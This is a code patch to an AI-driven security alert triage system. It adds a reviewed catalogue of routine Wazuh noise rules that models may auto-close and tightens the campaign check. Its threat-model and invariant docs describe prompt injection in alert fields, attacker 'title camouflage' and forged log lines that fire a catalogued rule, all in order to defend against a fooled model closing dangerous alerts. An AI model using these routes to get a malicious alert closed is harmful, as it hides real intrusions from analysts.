From 0fcb64b20797d7e530cf614f7c3958e3a8d3c96f Mon Sep 17 00:00:00 2001 From: Ahmed Ghazouani Date: Mon, 9 Nov 2026 17:26:24 +0100 Subject: [PATCH 1/5] FIX-2: decision policy v2.1, catalogued unmapped noise and a campaign check that lets one rule repeat (#342) A reviewed, versioned noise catalogue keyed by vendor and detection rule id (Wazuh raw.rule.id with the normalizer's rule name, never text) lifts only the unmapped never-close class. The campaign check now needs every related alert to be the same rule repeating as benign noise over a complete related set; a different rule, a threat or unjudged alert, a never-close class, a plan awaiting approval, a truncated or blind-audit-hidden set or an old digest blocks. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01JmdYVXkgpNHoygVJCrUeZc --- changelog.d/FIX-2.md | 32 +++ docs/ai-system-card.md | 10 + docs/architecture.md | 14 +- docs/invariants.md | 12 +- docs/openapi.json | 12 + docs/security.md | 6 +- docs/threat-model.md | 2 +- src/lg_front/src/api/schema.gen.ts | 4 + src/lg_sotf/agents/correlation/base.py | 79 +++++- src/lg_sotf/core/state.py | 2 + src/lg_sotf/domain/closure.py | 72 ++++- src/lg_sotf/domain/noise_families.py | 189 +++++++++++++ src/lg_sotf/domain/routing.py | 13 +- src/lg_sotf/invariants/checks.py | 10 +- src/lg_sotf/invariants/registry.py | 25 +- .../integration/engine/test_model_closure.py | 43 +++ tests/unit/agents/_support.py | 1 + tests/unit/agents/test_campaign_split.py | 175 ++++++++++++ tests/unit/domain/test_closure.py | 33 ++- tests/unit/domain/test_noise_families.py | 257 ++++++++++++++++++ tests/unit/invariants/test_checks.py | 7 + 21 files changed, 942 insertions(+), 56 deletions(-) create mode 100644 changelog.d/FIX-2.md create mode 100644 src/lg_sotf/domain/noise_families.py create mode 100644 tests/unit/agents/test_campaign_split.py create mode 100644 tests/unit/domain/test_noise_families.py diff --git a/changelog.d/FIX-2.md b/changelog.d/FIX-2.md new file mode 100644 index 00000000..b65698fb --- /dev/null +++ b/changelog.d/FIX-2.md @@ -0,0 +1,32 @@ +### Changed + +- Model-led closure (`ai_closure.tier = auto_full_audit`) can now close + routine Wazuh noise that ships without an ATT&CK mapping. A reviewed, + versioned catalogue of noise families, keyed by vendor and detection rule + id, lifts the "no ATT&CK mapping" block for: package installs and updates + (dpkg 2901, 2902; yum 2932, 2933), Windows software installs (60612), + Defender scan and signature status (62107, 62108, 62130) and a single web + 4xx (31101). It lifts nothing else: the tier, severity, both model tiers + benign at the install thresholds, steering text, a recent true positive + and a campaign in progress still block. Such a close's decision reason + names the family and the catalogue version. +- The campaign check now tells one detection rule repeating apart from an + attack. A burst of the same rule, every repeat judged benign by the fast + tier, no longer blocks a model-led close, and neither do those repeats + while they wait for an analyst (before, nothing closed, so everything + stayed open and the check blocked itself). The correlation digest has two + new fields, `related_rule_repeats` and `related_complete`. + +### Security + +- The catalogue reads only the rule id of the vendor's own event, never the + title, description or rule-name text: a custom rule that copies a stock + description, or a forged rule-name prefix, stays unmapped. An alert whose + raw event was dropped by the state size cap stays unmapped too. +- A related alert still blocks a model-led close when its detection rule + differs (a possible kill chain, even if it was closed as benign), when a + model judged it malicious or suspicious, when no model judged it yet, + when it is in a never-close class, or when it is a response plan awaiting + approval. A related set that may be incomplete (the correlation query hit + its limit, or a related alert is hidden while it waits for a blind-audit + label) blocks too, and so does a digest without the new counts. diff --git a/docs/ai-system-card.md b/docs/ai-system-card.md index 6e00b78b..bad36fbd 100644 --- a/docs/ai-system-card.md +++ b/docs/ai-system-card.md @@ -279,6 +279,16 @@ compressed related alerts and bursts (a campaign in progress blocks it), and queue without them. That is a simulation, not a re-measurement. The miss-rate result stands; the auto-close result is not yet a statement about the model. +Decision policy v2.1 (FIX-2) adds a reviewed catalogue of unmapped Wazuh +noise rules (by rule id) and a campaign check that lets one rule repeat. +Simulated on the same recorded outputs, with the related alerts rebuilt +from the stream: 1 of the 312 benign alerts closes and none of the 208 +malicious (only the 107 benign and 30 malicious alerts that run analysed +can be simulated); +on the 100 alerts of the FIX-1 dev run, 2 of 60 benign (0 of 40 +malicious). The model tiers and related alerts a model judged suspicious +remain the main blockers. + ### 7.2 Scorecard v1: `qwen2.5:7b` on a local Ollama [scorecards/v1/qwen2.5-7b/scorecard.md](scorecards/v1/qwen2.5-7b/scorecard.md), diff --git a/docs/architecture.md b/docs/architecture.md index 83ef6dde..b38867cd 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -287,10 +287,16 @@ Rules: the severity is info, low or medium, the detection rule maps it to ATT&CK and not to a never-close class (credential access, log clearing, tampering, ransomware, persistence through an object the attacker - names), triage found no steering text, no entity has a recent true - positive, no campaign is in progress (a burst, or a related alert a - model judged malicious or suspicious or still open for review), and - both model tiers say `benign`: fast-tier likelihood at + names), or it is unmapped but its vendor rule id is in the reviewed + noise catalogue (`lg_sotf.domain.noise_families`, FIX-2: package + installs, Windows software installs, Defender scan and signature status, + web 4xx; keyed by vendor and rule id, never by text), triage found no + steering text, no entity has a recent true positive, no campaign is in + progress (every related alert must be the same detection rule repeating, + judged benign by the fast tier and a threat by no model, outside the + never-close classes and not a plan awaiting approval, over a complete + related set: a different rule on the same entities is a possible kill + chain), and both model tiers say `benign`: fast-tier likelihood at most `routing.model_close_max_likelihood` (8) and deep-tier certainty at least `routing.model_close_min_certainty` (85). The `decide` node reads the tier from the tenant's settings at every decision. diff --git a/docs/invariants.md b/docs/invariants.md index 2bbba81f..ea64520c 100644 --- a/docs/invariants.md +++ b/docs/invariants.md @@ -61,12 +61,12 @@ Containment changes a customer's environment. An action executes only once it is ## INV-03: An AI verdict alone never closes a high or critical alert or a never-close class; a low or medium alert closes on the models' word only at the tenant's autonomy tier -A fooled or injected model must not be able to make a dangerous alert disappear. Routing is a pure policy. High and critical alerts close only by an analyst, a suppression rule or an analyst-confirmed verdict. A low or medium alert closes when approved benign evidence an attacker cannot write corroborates a benign verdict: a cached analyst verdict, the detection rule's name, the EICAR hash, a test source or the tenant's declared context, such as a scanner as the source of the activity; never past steering text or a recent true positive, and a scanner or test source never for a never-close class. Without such evidence it closes on the models' word only when the tenant's autonomy tier is auto_full_audit and both model tiers judge it benign within the install's thresholds, never for the never-close classes (credential access, log clearing, security-tool tampering, ransomware behaviour, persistence through attacker-named objects, unmapped alerts), steering text, entities with a recent true positive or a campaign in progress; such a close is marked model_closed for audit. With the tier off, the default, a model never closes an alert alone. +A fooled or injected model must not be able to make a dangerous alert disappear. Routing is a pure policy. High and critical alerts close only by an analyst, a suppression rule or an analyst-confirmed verdict. A low or medium alert closes when approved benign evidence an attacker cannot write corroborates a benign verdict: a cached analyst verdict, the detection rule's name, the EICAR hash, a test source or the tenant's declared context, such as a scanner as the source of the activity; never past steering text or a recent true positive, and a scanner or test source never for a never-close class. Without such evidence it closes on the models' word only when the tenant's autonomy tier is auto_full_audit and both model tiers judge it benign within the install's thresholds, never for the never-close classes (credential access, log clearing, security-tool tampering, ransomware behaviour, persistence through attacker-named objects, unmapped alerts unless the vendor rule id is in the reviewed noise catalogue, never matched on text), steering text, entities with a recent true positive or a campaign in progress (anything but the same detection rule repeating as benign noise over a complete related set); such a close is marked model_closed for audit. With the tier off, the default, a model never closes an alert alone. * **Status:** enforced * **Owner epic:** AI-E6 * **Threats:** TM-WRK-1, TM-WRK-2 -* **Enforced in:** `src/lg_sotf/domain/routing.py`, `src/lg_sotf/domain/closure.py`, `src/lg_sotf/domain/benign_evidence.py` +* **Enforced in:** `src/lg_sotf/domain/routing.py`, `src/lg_sotf/domain/closure.py`, `src/lg_sotf/domain/noise_families.py`, `src/lg_sotf/domain/benign_evidence.py` * **Runtime checks:** `routing_policy` * **Evaluation metric:** `high_severity_auto_closed_benign` * **Proved by:** @@ -82,7 +82,15 @@ A fooled or injected model must not be able to make a dangerous alert disappear. * `tests/unit/domain/test_closure.py::test_a_scanner_or_test_source_never_closes_a_never_close_class` * `tests/unit/domain/test_closure.py::test_a_campaign_in_progress_is_never_model_closed` * `tests/unit/domain/test_closure.py::test_review_f2_sentinel_credential_access_is_a_never_close_class` + * `tests/unit/domain/test_noise_families.py::test_a_forged_or_borrowed_title_on_an_uncatalogued_rule_stays_unmapped` + * `tests/unit/domain/test_noise_families.py::test_the_catalogue_lifts_only_unmapped_never_a_mapped_never_close_class` + * `tests/unit/domain/test_noise_families.py::test_every_other_condition_still_blocks_a_catalogued_rule` + * `tests/unit/domain/test_noise_families.py::test_a_malicious_or_suspicious_model_verdict_on_a_catalogued_rule_still_escalates` + * `tests/unit/agents/test_campaign_split.py::test_a_different_detection_on_the_same_host_is_a_possible_kill_chain` + * `tests/unit/agents/test_campaign_split.py::test_a_same_rule_alert_still_counts_against_closing_when` + * `tests/unit/agents/test_campaign_split.py::test_an_incomplete_related_set_fails_closed` * `tests/integration/engine/test_model_closure.py::test_the_tenant_tier_decides_whether_the_models_close` + * `tests/integration/engine/test_model_closure.py::test_catalogued_noise_and_its_repeats_close_but_another_rule_on_the_host_does_not` * `tests/integration/eval/test_adversarial_v2_eval.py::test_no_malicious_close_with_model_led_closure_on` * `tests/integration/e2e/test_llm_safety.py::test_injected_benign_instructions_never_close_an_alert` * `tests/unit/agents/test_title_camouflage.py::test_the_title_camouflage_items_get_no_benign_evidence_and_never_close_on_rules` diff --git a/docs/openapi.json b/docs/openapi.json index 9599a831..c5e0457d 100644 --- a/docs/openapi.json +++ b/docs/openapi.json @@ -1138,6 +1138,9 @@ }, "type": "array" }, + "related_complete": { + "type": "boolean" + }, "related_count": { "type": "integer" }, @@ -1150,6 +1153,9 @@ "related_open_reviews": { "type": "integer" }, + "related_rule_repeats": { + "type": "integer" + }, "related_threats": { "type": "integer" }, @@ -2079,6 +2085,9 @@ }, "type": "array" }, + "related_complete": { + "type": "boolean" + }, "related_count": { "type": "integer" }, @@ -2091,6 +2100,9 @@ "related_open_reviews": { "type": "integer" }, + "related_rule_repeats": { + "type": "integer" + }, "related_threats": { "type": "integer" }, diff --git a/docs/security.md b/docs/security.md index efa2d06f..d176c62c 100644 --- a/docs/security.md +++ b/docs/security.md @@ -251,9 +251,11 @@ close a dangerous alert or trigger containment. `auto_full_audit`. Then both model tiers may close a low or medium alert alone, marked `ai_closed:audit_required`, but never a never-close class (credential access, log clearing, tampering, ransomware, persistence - through attacker-named objects, or an alert without an ATT&CK mapping), + through attacker-named objects, or an alert without an ATT&CK mapping + unless its vendor rule id is in the reviewed noise catalogue, FIX-2), never with steering text, a recent true positive on its entities or a - campaign in progress among its related alerts, and + campaign in progress among its related alerts (anything but the same + detection rule repeating as benign noise), and only when the fast tier's likelihood is at most 8 and the deep tier's certainty at least 85 (install settings). The routing policy chooses to plan a response from the threat score; what then runs automatically is decided per action: automatic diff --git a/docs/threat-model.md b/docs/threat-model.md index f8f4bde5..9255a2ce 100644 --- a/docs/threat-model.md +++ b/docs/threat-model.md @@ -135,7 +135,7 @@ disclosure, **D**enial of service, **E**levation of privilege. | ID | STRIDE | Threat | Controls | Status | |---|---|---|---|---| | TM-WRK-1 | T | Prompt injection in alert fields changes the verdict | Untrusted-data blocks with escaped `<` and `>` (`src/lg_sotf/llm/prompting.py:365-400`); injection detection voids false-positive signals (`src/lg_sotf/agents/triage/base.py:125-131`); the injection signal blocks corroboration (`src/lg_sotf/agents/analysis/base.py:15-28`) | In place | -| TM-WRK-2 | T | A fooled model closes a dangerous alert, or the attacker names objects so the rules corroborate a benign close (title camouflage) | High and critical alerts are never auto-closed; low and medium need approved benign evidence (a rule false-positive signal or a cached analyst verdict), never past steering text or a recent true positive, and a declared scanner (only as the source of the activity) or a test source never for a never-close class; refusals escalate (`src/lg_sotf/domain/routing.py:1-35`). Model-led closure without such evidence is off unless a tenant admin (never under an MSSP grant, audited) sets `ai_closure.tier` to `auto_full_audit`; even then it needs both model tiers benign within install thresholds, no steering text, no recent true positive on the entities, no campaign in progress (a burst, a related alert judged a threat or open for review), an ATT&CK mapping and none of the never-close classes (credential access, log clearing, tampering, ransomware, persistence through attacker-named objects), and it is marked `ai_closed:audit_required` (`src/lg_sotf/domain/closure.py`, FIX-1). Rule false-positive evidence comes only from the detection rule name with attacker-named values masked, EICAR hashes, the tenant's `triage.known_scanners` and the source id, never from titles, entity names, command lines, user agents or email subjects (`src/lg_sotf/domain/benign_evidence.py`, AI-E6.3). Rule-name words that name the detected activity (`scheduled`, `update`, `backup`, `scan`, `monitoring`) count only with a trusted qualifier: an intent word in the same rule name, a test-environment source id or, for `scan`, a known scanner (AI-E6.4) | In place; measured by `high_severity_auto_closed_benign` = 0 and the gated `title-camouflage` and `activity-camouflage` families of the adversarial corpus v2 in CI, at both autonomy tiers | +| TM-WRK-2 | T | A fooled model closes a dangerous alert, or the attacker names objects so the rules corroborate a benign close (title camouflage) | High and critical alerts are never auto-closed; low and medium need approved benign evidence (a rule false-positive signal or a cached analyst verdict), never past steering text or a recent true positive, and a declared scanner (only as the source of the activity) or a test source never for a never-close class; refusals escalate (`src/lg_sotf/domain/routing.py:1-35`). Model-led closure without such evidence is off unless a tenant admin (never under an MSSP grant, audited) sets `ai_closure.tier` to `auto_full_audit`; even then it needs both model tiers benign within install thresholds, no steering text, no recent true positive on the entities, no campaign in progress, an ATT&CK mapping and none of the never-close classes (credential access, log clearing, tampering, ransomware, persistence through attacker-named objects), and it is marked `ai_closed:audit_required` (`src/lg_sotf/domain/closure.py`, FIX-1). Policy v2.1 (FIX-2): an unmapped alert closes only when its vendor detection rule id (Wazuh `raw.rule.id`, with the normalizer's `: ` rule name) is in the reviewed, versioned noise catalogue (`src/lg_sotf/domain/noise_families.py`: package installs and updates, Windows software installs, Defender scan and signature status, a single web 4xx), never on title, description or rule-name text; the catalogue lifts only `unmapped`, every other condition still applies, and each entry records the abuse it could hide (a malicious package, an MSI run as execution, web probing) with a test that a malicious or suspicious model verdict still escalates it. No campaign means every related alert is the same detection rule repeating (same vendor rule id, fast tier benign, no model threat judgement, no never-close class, no plan awaiting approval) over a complete related set: a different rule on the same entities, a hidden blind-audit sample, a query at its limit or a digest without the counts blocks the close. Residual: the actor on a host can choose which catalogued rule fires (a forged `dpkg.log` line); only the two model tiers then stand between it and a close, every such close is marked for audit, and its decision reason names the family and catalogue version. Rule false-positive evidence comes only from the detection rule name with attacker-named values masked, EICAR hashes, the tenant's `triage.known_scanners` and the source id, never from titles, entity names, command lines, user agents or email subjects (`src/lg_sotf/domain/benign_evidence.py`, AI-E6.3). Rule-name words that name the detected activity (`scheduled`, `update`, `backup`, `scan`, `monitoring`) count only with a trusted qualifier: an intent word in the same rule name, a test-environment source id or, for `scan`, a known scanner (AI-E6.4) | In place; measured by `high_severity_auto_closed_benign` = 0 and the gated `title-camouflage` and `activity-camouflage` families of the adversarial corpus v2 in CI, at both autonomy tiers | | TM-WRK-3 | E | A fooled model triggers containment | Containment on model-only evidence always waits for approval (`src/lg_sotf/services/response/planner.py:328-329`); tenant autonomy, with unknown values read as `disabled` (`src/lg_sotf/services/response/policy.py:215-226`) | In place | | TM-WRK-4 | I | Alert data or secrets sent to the model provider | Secrets redacted before storage and before the model; personal data is **not** redacted | Partial: per-tenant pseudonymisation before the LLM call is planned (SEC7.5b) | | TM-WRK-5 | I | Model endpoint pointed at an internal or metadata address | `llm.base_url` egress check (`src/lg_sotf/llm/endpoint.py:80-100`), enforced at start-up (`src/lg_sotf/settings.py:519-524`) | In place | diff --git a/src/lg_front/src/api/schema.gen.ts b/src/lg_front/src/api/schema.gen.ts index 21b43eea..13aa5026 100644 --- a/src/lg_front/src/api/schema.gen.ts +++ b/src/lg_front/src/api/schema.gen.ts @@ -2042,11 +2042,13 @@ export interface components { llm_skipped?: string | null; llm_used?: boolean; related_alert_ids?: string[]; + related_complete?: boolean; related_count?: number; related_dispositions?: { [key: string]: number; }; related_open_reviews?: number; + related_rule_repeats?: number; related_threats?: number; score?: number; }; @@ -2290,11 +2292,13 @@ export interface components { llm_skipped?: string | null; llm_used?: boolean; related_alert_ids?: string[]; + related_complete?: boolean; related_count?: number; related_dispositions?: { [key: string]: number; }; related_open_reviews?: number; + related_rule_repeats?: number; related_threats?: number; score?: number; }; diff --git a/src/lg_sotf/agents/correlation/base.py b/src/lg_sotf/agents/correlation/base.py index df118c5a..62a9eb48 100644 --- a/src/lg_sotf/agents/correlation/base.py +++ b/src/lg_sotf/agents/correlation/base.py @@ -24,9 +24,17 @@ own. Over every related alert (not only the digests the model sees) the digest counts dispositions, alerts a model judged malicious or suspicious (``related_threats``) and alerts still waiting for an analyst or an approval -(``related_open_reviews``); any of them, or a burst, blocks a model-led -close (:mod:`lg_sotf.domain.closure`). A related alert the models closed -alone counts and shows as ``ai_closed_unaudited``, never as ``benign``. +(``related_open_reviews``). Since FIX-2 it also counts the related alerts +that are this alert's own detection rule repeating as noise +(``related_rule_repeats``: the same vendor rule id, judged benign by the fast +tier, a threat by no model, no never-close class, no response plan awaiting +approval) and records whether the related set is complete +(``related_complete``: the query stayed under its limit and no related alert +was hidden for a blind audit). A model-led close needs every related alert +to be such a repeat over a complete set (:mod:`lg_sotf.domain.closure`): a +different detection on the same entities is a possible kill chain. A related +alert the models closed alone counts and shows as ``ai_closed_unaudited``, +never as ``benign``. A refusal of that call leaves the alert's assessment open: its confidence is raised to the grey zone (``routing.correlation_grey_zone_min``) and the @@ -46,7 +54,9 @@ from lg_sotf.agents.base import AccountedRun, AgentContext, BaseAgent, LLMResult from lg_sotf.agents.triage.base import agent_refusal from lg_sotf.db.errors import NotFound +from lg_sotf.domain import closure from lg_sotf.domain.indicators import Indicator, extract_indicators +from lg_sotf.domain.noise_families import DetectionRule, detection_rule from lg_sotf.domain.phishing import PhishingProfile from lg_sotf.domain.routing import RoutingThresholds from lg_sotf.errors import AgentError @@ -105,6 +115,12 @@ class CorrelationResult: # malicious or suspicious, and how many still wait for an analyst or an approval. related_threats: int = 0 related_open_reviews: int = 0 + # FIX-2: how many related alerts are this alert's detection rule repeating as noise (same vendor rule id, fast tier + # benign, no model threat judgement, no never-close class, no response plan awaiting approval), and whether the + # related set is complete (the query did not hit its limit and no related alert was hidden for a blind audit). + # Fail closed: the defaults (0, False) block a model-led close whenever there is a related alert. + related_rule_repeats: int = 0 + related_complete: bool = False campaign_indicators: List[str] = field(default_factory=list) notes: List[str] = field(default_factory=list) @@ -120,7 +136,8 @@ def digest(self) -> CorrelationDigest: AI_CLOSED = "ai_closed_unaudited" #: A related alert's model assessments that count as judged a threat: the fast tier's, or the deep tier's verdict. THREAT_ASSESSMENTS = frozenset({"suspicious", "likely_threat", "confirmed_threat"}) -OPEN_REVIEW_STATUSES = frozenset({"waiting_human", "waiting_approval"}) +APPROVAL_STATUS = "waiting_approval" +OPEN_REVIEW_STATUSES = frozenset({"waiting_human", APPROVAL_STATUS}) def _summary_part(other: Any, key: str) -> Mapping[str, Any]: @@ -138,8 +155,31 @@ def related_disposition(other: Any) -> str: return str(other.disposition or "undecided") -def tally_related(result: CorrelationResult, others: List[Any]) -> None: - """Count every related alert's disposition, model judgement and open review into ``result``.""" +def related_document(other: Any) -> Dict[str, Any]: + """A stored related alert as a canonical alert with its raw event (what the noise catalogue reads).""" + normalized = other.normalized if isinstance(other.normalized, Mapping) else {} + raw = getattr(other, "raw", None) + return {**normalized, "raw": raw if isinstance(raw, Mapping) else {}} + + +def quiet_rule_repeat(rule: Optional[DetectionRule], other: Any, *, judged_threat: bool) -> bool: + """Whether a related alert is ``rule`` repeating as noise (FIX-2): the same vendor detection rule, judged benign by + the fast tier, a threat by no model, not a never-close class, and not a response plan awaiting approval. + + Anything unknown (no rule on either side, no fast-tier judgement, a deep verdict other than benign) is not quiet. + """ + if rule is None or judged_threat or other.status == APPROVAL_STATUS: + return False + document = related_document(other) + if detection_rule(document) != rule or closure.model_close_class(document) is not None: + return False + return (_summary_part(other, "triage").get("threat_assessment") == "benign" + and _summary_part(other, "analysis").get("verdict") in (None, "benign")) + + +def tally_related(result: CorrelationResult, others: List[Any], rule: Optional[DetectionRule] = None) -> None: + """Count every related alert's disposition, model judgement, open review and quiet repeat of ``rule`` (this + alert's detection rule) into ``result``.""" for other in others: key = related_disposition(other) result.related_dispositions[key] = result.related_dispositions.get(key, 0) + 1 @@ -148,6 +188,7 @@ def tally_related(result: CorrelationResult, others: List[Any]) -> None: ) result.related_threats += int(judged) result.related_open_reviews += int(other.status in OPEN_REVIEW_STATUSES) + result.related_rule_repeats += int(quiet_rule_repeat(rule, other, judged_threat=judged)) def frequency_level(alerts_per_hour: float) -> str: @@ -226,7 +267,7 @@ async def _run( await ctx.repos.indicators.add_sightings( ctx.tenant_id, ctx.alert_id, [(i.type, h, i.display, now) for i, h in hashed] ) - related = await self._related(ctx, [(i.type, h) for i, h in hashed], now) + related, complete = await self._related(ctx, [(i.type, h) for i, h in hashed], now) type_counts: Dict[str, int] = {} for ind in indicators: @@ -246,13 +287,14 @@ async def _run( indicator_types=type_counts, burst=burst, frequency_level=frequency_level(per_hour), + related_complete=complete, ) if not related: result.llm_skipped = self.skip_llm("no_related_alerts").skipped return result others = await self.related_alerts(ctx, related) - tally_related(result, [other for _, _, other in others]) + tally_related(result, [other for _, _, other in others], detection_rule(alert)) digests = [self.related_digest(*found) for found in others[:MAX_DIGESTS]] llm: LLMResult[CorrelationAssessment] = await self.call_llm( @@ -335,18 +377,27 @@ async def related_digests(cls, ctx: AgentContext, related: List[Any]) -> List[Di """Compact, bounded view of each related alert (no raw events, no ids).""" return [cls.related_digest(idx, r, other) for idx, r, other in await cls.related_alerts(ctx, related)] - async def _related(self, ctx: AgentContext, keys: List[Tuple[str, str]], now: datetime) -> List[Any]: - """Alerts sharing an indicator within the window. A sample waiting for its blind-audit label is left - out: its disposition must not reach this alert's digest or the model (it is hidden until labelled).""" + async def _related( + self, ctx: AgentContext, keys: List[Tuple[str, str]], now: datetime + ) -> Tuple[List[Any], bool]: + """Alerts sharing an indicator within the window, and whether that set is complete. + + A sample waiting for its blind-audit label is left out: its disposition + must not reach this alert's digest or the model (it is hidden until + labelled). The set is incomplete when the query hit its limit (more + related alerts may exist) or a related alert was hidden: a model-led + close then fails closed (FIX-2, :mod:`lg_sotf.domain.closure`). + """ if not keys or ctx.repos is None: - return [] + return [], True related = await ctx.repos.indicators.related_alerts( ctx.tenant_id, keys, since=now - self.window, limit=self.max_related, exclude_alert_id=ctx.alert_id ) if not related: - return [] + return [], True hidden = await ctx.repos.blind_audit.pending_alert_ids(ctx.tenant_id, [r.alert_id for r in related]) - return [r for r in related if r.alert_id not in hidden] + complete = len(related) < self.max_related and not hidden + return [r for r in related if r.alert_id not in hidden], complete @staticmethod def _rule_score(related: List[Any], indicators: List[Indicator], burst: bool) -> int: diff --git a/src/lg_sotf/core/state.py b/src/lg_sotf/core/state.py index 3a6f9afb..f281c78c 100644 --- a/src/lg_sotf/core/state.py +++ b/src/lg_sotf/core/state.py @@ -110,6 +110,8 @@ class CorrelationDigest(TypedDict, total=False): related_dispositions: Dict[str, int] related_threats: int related_open_reviews: int + related_rule_repeats: int + related_complete: bool campaign_indicators: List[str] diff --git a/src/lg_sotf/domain/closure.py b/src/lg_sotf/domain/closure.py index 692f42eb..8f5560e6 100644 --- a/src/lg_sotf/domain/closure.py +++ b/src/lg_sotf/domain/closure.py @@ -1,4 +1,4 @@ -"""Model-led closure (decision policy v2, FIX-1): the tenant's autonomy tier and when a model may close. +"""Model-led closure (decision policy v2.1, FIX-1 and FIX-2): the tenant's autonomy tier and when a model may close. Without approved benign evidence (:func:`lg_sotf.domain.routing.decide`), a low or medium alert is closed on the models' word only when the tenant chose @@ -15,16 +15,27 @@ names (scheduled tasks, services, autostart entries, WMI subscriptions, accounts), whose alert text is the attacker's. An alert the rule maps to no tactic or technique is ``unmapped`` and counts as a never-close class: - nothing shows it is outside them; + nothing shows it is outside them. The one exception is a detection rule in + the reviewed noise catalogue (:mod:`lg_sotf.domain.noise_families`, + FIX-2), keyed by vendor and rule id, never by title or description text: + it lifts ``unmapped`` and nothing else (:func:`model_close_class`); * no steering text: triage did not flag ``prompt_injection_suspected``; * no recent true positive on the alert's entities: no analyst-confirmed malicious history (``prior_malicious_history``), no related alert of the correlation window closed as malicious, and no rule evidence that corroborates a threat (``rule_corroborated``); -* no campaign in progress: no burst of related alerts, no related alert a - model judged malicious or suspicious, none still open for an analyst or an - approval (counted over every related alert, not only those shown to the - correlation model), so an attack is never closed alert by alert; +* no campaign in progress (FIX-2): every related alert of the correlation + window is the same detection rule repeating as noise + (``related_rule_repeats`` equals ``related_count``): the same vendor rule + id as this alert, judged benign by the fast tier, judged a threat by no + model, not a never-close class and not a response plan awaiting approval. + A related alert of a different rule on the same entities is a possible + kill chain and blocks, whatever its status. A burst of one rule judged + benign is repetition, not a campaign. The set must be complete + (``related_complete``): when the correlation query hit its limit or a + related alert was hidden for a blind audit, the close is blocked. A digest + without these fields (unknown) blocks too, so an attack is never closed + alert by alert; * both model tiers say benign: the fast tier's assessment is ``benign`` with a threat likelihood at most ``routing.model_close_max_likelihood`` (default 8), and the deep tier's verdict is ``benign`` with a certainty of @@ -33,6 +44,8 @@ A model-led close carries the decision code ``model_closed`` and the close reason ``ai_closed:audit_required``: an analyst is expected to audit it. +When the noise catalogue lifted ``unmapped``, the decision reason names the +family and the catalogue version. Correlation shows such an alert to later models as ``ai_closed_unaudited``, never as ``benign``, so one persuaded close cannot vouch for the next. @@ -52,6 +65,7 @@ from pydantic import BaseModel, ConfigDict, ValidationError from lg_sotf.domain.benign_evidence import INJECTION_SIGNAL +from lg_sotf.domain.noise_families import NoiseFamily, noise_family __all__ = [ "AUTONOMY_TIERS", @@ -67,8 +81,10 @@ "SETTING", "UNMAPPED", "autonomy_tier", + "catalogued_noise", "evidence_close_blockers", "model_close_blockers", + "model_close_class", "never_close_class", "validate_ai_closure_settings", ] @@ -172,6 +188,25 @@ def never_close_class(alert: Any) -> Optional[str]: return None if tactics or techniques else UNMAPPED +def catalogued_noise(alert: Any) -> Optional[NoiseFamily]: + """The catalogued noise family that lifts the alert's ``unmapped`` class, or ``None`` (FIX-2). + + ``None`` unless the alert is :data:`UNMAPPED` and its vendor detection rule + id is in the catalogue: a mapped alert never needs the lift, and a mapped + never-close class is never lifted. + """ + return noise_family(alert) if never_close_class(alert) == UNMAPPED else None + + +def model_close_class(alert: Any) -> Optional[str]: + """The never-close class that blocks a model-led close: :func:`never_close_class`, except that a detection rule + in the noise catalogue lifts ``unmapped`` (and only ``unmapped``).""" + found = never_close_class(alert) + if found == UNMAPPED and catalogued_noise(alert) is not None: + return None + return found + + def _number(value: Any) -> Optional[float]: return float(value) if isinstance(value, (int, float)) and not isinstance(value, bool) else None @@ -208,17 +243,24 @@ def _recent_true_positive(analysis: Mapping[str, Any], correlation: Mapping[str, def _campaign_in_progress(correlation: Mapping[str, Any]) -> bool: - """Related alerts that may be one attack: a burst, one a model judged malicious or suspicious, or one still - open for review. Unknown counts (a digest without them) fail closed.""" + """Related alerts that may be one attack (FIX-2): anything but the same detection rule repeating as noise. + + The close is allowed only when there is no related alert (and none was + left out), or when the related set is complete and every related alert is + a quiet repeat of this alert's rule (``related_rule_repeats`` equals + ``related_count``) and none was judged a threat. A burst made only of such + repeats is repetition, not a campaign. Unknown or inconsistent counts (a + digest without them) fail closed. + """ related = _number(correlation.get("related_count")) - if related is None: + complete = correlation.get("related_complete") + if related is None or related < 0: return True if related == 0: - return False - if correlation.get("burst") is not False: - return True - counts = [_number(correlation.get(key)) for key in ("related_threats", "related_open_reviews")] - return any(count is None or count > 0 for count in counts) + return complete is False + repeats = _number(correlation.get("related_rule_repeats")) + threats = _number(correlation.get("related_threats")) + return not (complete is True and repeats == related and threats == 0) def _steering_text(triage: Mapping[str, Any]) -> bool: @@ -263,7 +305,7 @@ def model_close_blockers( checks = ( ("tier_off", tier != MODEL_CLOSE_TIER), ("severity", state.get("severity") not in CLOSABLE_SEVERITIES), - ("never_close_class", never_close_class(state.get("alert")) is not None), + ("never_close_class", model_close_class(state.get("alert")) is not None), ("steering_text", _steering_text(triage)), ("recent_true_positive", _recent_true_positive(analysis, correlation)), ("campaign_in_progress", _campaign_in_progress(correlation)), diff --git a/src/lg_sotf/domain/noise_families.py b/src/lg_sotf/domain/noise_families.py new file mode 100644 index 00000000..383e3753 --- /dev/null +++ b/src/lg_sotf/domain/noise_families.py @@ -0,0 +1,189 @@ +"""Catalogued routine-noise families (decision policy v2.1, FIX-2): vendor detection rules a model may close unmapped. + +An alert whose detection rule maps it to no ATT&CK tactic or technique is a +never-close class (:data:`lg_sotf.domain.closure.UNMAPPED`): nothing shows +it is outside the dangerous classes. Some vendors ship their textbook +operational events without a mapping (a package installed, antivirus +signatures updated, a web client error), so ``unmapped`` alone would keep +routine noise in front of an analyst forever. + +This catalogue lists, by **vendor and detection rule id**, the rules whose +meaning is known to be routine operational telemetry. A catalogued rule lifts +**only** the ``unmapped`` class; every other condition of a model-led close +still applies (the tenant tier, severity, both model tiers benign at the +install thresholds, no steering text, no recent true positive, no campaign). + +What an entry is keyed on, and why: + +* The rule id is chosen by the detection engine's ruleset (here the Wazuh + manager), not written by the actor on the monitored host. The alert's + title, description and rule name are never matched: a Wazuh rule + description can interpolate event fields (``$(win.eventdata...)``), and a + custom rule can copy a stock description word for word. +* The id is read from the vendor's own event (``raw.rule.id``), and only + when the canonical rule name is the one the Wazuh normalizer writes + (``": "``). A canonical alert without its raw event + (dropped by the state size cap) has no detection rule, so it stays + ``unmapped`` (fail closed). +* The actor can still choose **which** rule fires (writing a ``dpkg.log`` + line fires 2902). Each entry therefore records the abuse it could hide, + and every family with a known abuse has a test that a malicious or + suspicious model verdict still escalates it. + +Changing the catalogue is a reviewed change to the decision policy: bump +:data:`CATALOGUE_VERSION`, justify the entry from the vendor ruleset's +semantics (never from which evaluation items are 